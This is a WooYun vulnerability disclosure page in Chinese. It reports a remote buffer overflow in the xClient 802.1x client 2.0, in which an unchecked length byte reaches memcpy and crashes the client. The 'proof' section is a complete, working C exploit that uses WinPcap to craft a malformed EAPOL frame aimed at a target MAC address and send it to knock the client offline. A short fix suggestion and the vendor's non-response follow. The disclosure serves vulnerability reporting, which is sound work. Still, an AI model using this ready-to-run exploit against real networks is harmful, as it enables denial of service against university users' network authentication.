当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019707

漏洞标题:xClient 802.1x客户端2.0远程缓冲区溢出漏洞,大学影响较严重

相关厂商:xClient

漏洞作者: cssembly

提交时间:2013-03-08 10:57

修复时间:2013-04-22 10:58

公开时间:2013-04-22 10:58

漏洞类型:拒绝服务

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-04-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

xClient 802.1x客户端2.0是大学中使用较广的H3C802.1x协议认证客户端,由于软件未对收到的数据包中的长度字段进行判定,导致缓冲区溢出,产生了拒绝服务漏洞

详细说明:

1.PNG


程序取出接收到的数据的第17字节,做符号扩展后,减去4,最后当做长度直接传给了memcpy函数,如果第17个字节为0 - 3之间的任意一个数,最终都会导致memcpy函数的长度字段非常大,最终导致缓冲区溢出

漏洞证明:

poc代码如下:
#include "stdafx.h"
#include <pcap.h>
#pragma comment( lib , "wpcap.lib" )
int _tmain(int argc, _TCHAR* argv[])
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[1000];
pcap_if_t *alldevs;
/* Check the validity of the command line */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
pcap_if_t *d;
int i = 0;
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
/* 选择相应网卡*/
if ((fp = pcap_open_live(alldevs->name, // name of the device
65536, // portion of the packet to capture. It doesn't matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
return 2;
}
memset( packet , 0 , 1000 );

/* 目标机器mac地址 */
packet[0]= 0x00;
packet[1]= 0x0C;
packet[2]= 0x29;
packet[3]= 0x0F;
packet[4]= 0x63;
packet[5]= 0xDD;
/* set mac source to 2:2:2:2:2:2 */
packet[6]= 2;
packet[7]= 2;
packet[8]= 2;
packet[9]= 2;
packet[10]= 2;
packet[11]= 2;
/* 协议头 */
packet[12] = 0x88;
packet[13] = 0x8e;
packet[14] = 0x01;
packet[15] = 0x01;
packet[0x12] = 0x0A;//此处必须为0x0A
packet[23] = '#' + 1;//此处不等于'#'

packet[17] = 0;//长度信息
/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
1000 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
Sleep( 100 );
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
1000 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
pcap_close(fp);
return 0;
}
攻击过程截图:
启动运行,并输入用户信息

.PNG


点击开始认证

1.PNG


运行攻击代码后,程序退出

2.PNG


修复方案:

加入长度校验,过滤非法数据

版权声明:转载请注明来源 cssembly@乌云


漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:0

确认时间:2013-03-08 10:57

厂商回复:

最新状态:

暂无